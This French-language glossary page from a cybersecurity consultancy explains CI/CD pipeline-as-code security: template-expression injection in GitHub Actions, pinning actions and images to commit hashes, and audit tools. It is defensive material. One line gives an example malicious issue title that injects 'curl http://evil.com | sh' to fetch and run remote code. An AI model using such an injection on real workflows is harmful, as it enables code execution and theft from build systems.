Aller au contenu principal
Expert Cybersécurité & IAv9.0
Centres de ressources conformité
Besoin d'un accompagnement expert ?
Devis personnalisé sous 24h — audit, conformité, incident
Checklists Sécurité — Audit & Durcissement
Formats disponibles
📄 PDF 📊 Excel 🌐 Web

11 checklists professionnelles couvrant 2 200+ points de contrôle. Téléchargement gratuit, aucune inscription.

Pipeline as Code Security

devsecops

Définition

Le Pipeline as Code Security désigne l'ensemble des pratiques de sécurisation appliquées aux pipelines CI/CD définis sous forme de code (Jenkinsfile, .gitlab-ci.yml, .github/workflows/*.yml, Tekton PipelineRun). En traitant les définitions de pipeline comme du code applicatif — versionnées, revues, testées — les équipes DevSecOps peuvent appliquer les mêmes contrôles de sécurité aux pipelines eux-mêmes qu'aux applications qu'ils buildent. Les pipelines définis comme code présentent des risques de sécurité spécifiques. L'injection de commandes dans les expressions de template (GitHub Actions ${{ env.INPUT }}, GitLab CI variables non sanitisées) peut permettre l'exécution de code arbitraire si des valeurs contrôlées par l'utilisateur (titres d'issues, noms de branches) sont interpolées dans des commandes shell. L'utilisation d'actions ou images Docker de tiers non fixées à un hash de commit expose aux attaques de supply chain si la référence est mutée. Les bonnes pratiques de Pipeline as Code Security incluent : la revue de code obligatoire pour tout changement de workflow (via CODEOWNERS sur .github/workflows/), le pinning de toutes les actions à un SHA de commit (actions/checkout@11bd71901bbe...), la validation des variables d'entrée avant leur interpolation, les permissions GITHUB_TOKEN minimales déclarées explicitement, l'audit des pipelines via des outils spécialisés (StepSecurity Secure Workflows, ActionLint pour les GitHub Actions), et la séparation des pipelines de build (faible privilège) et de déploiement (privilège élevé, déclenchement manuel ou protégé). L'analyse statique des fichiers de pipeline (linting de sécurité) est un domaine en développement rapide : ActionLint (pour GitHub Actions), ShellCheck intégré (pour les scripts shell embarqués), et des règles Semgrep spécifiques aux pipelines CI permettent de détecter les patterns dangereux avant leur déploiement.

Injection dans les workflows GitHub Actions

Le pattern d'injection le plus critique en GitHub Actions : l'expression ${{ github.event.issue.title }} dans un run: shell command peut contenir des guillemets ou des backticks permettant l'injection de commandes. Exemple vulnérable : run: echo "${{ github.event.issue.title }}". Si un attaquant crée une issue avec le titre "test"; curl http://evil.com | sh #, le shell exécute le code malveillant. Correction : toujours passer les valeurs d'événement via des variables d'environnement intermédiaires (env: TITLE: ${{ github.event.issue.title }}, puis echo "$TITLE").

Pinning des actions et images de build

Les références mutables (actions/checkout@v3, image: python:latest) sont des risques de supply chain : si la cible de la référence est modifiée par un attaquant (tag re-tag, image push), le pipeline utilise silencieusement le nouveau contenu malveillant. La solution : références immutables par SHA-256 de commit pour les actions (actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683) et par digest SHA pour les images Docker (python@sha256:abc123). Des outils comme Dependabot (pour les GitHub Actions) maintiennent automatiquement ces pins à jour.

Audit automatisé des pipelines CI/CD

StepSecurity Secure Workflows (https://app.stepsecurity.io) analyse les GitHub Actions workflows et propose des hardening automatiques (pinning des actions, permissions minimales, installation du Harden-Runner pour auditer le trafic réseau du runner). ActionLint vérifie statiquement les workflows GitHub Actions (typos, injections, erreurs de syntax). Des règles Semgrep spécifiques aux pipelines CI (semgrep --config p/github-actions) identifient les patterns d'injection et les misconfiguratoins courantes.

Articles liés

Un projet cybersécurité ?

Expert dispo · Réponse 24h

Devis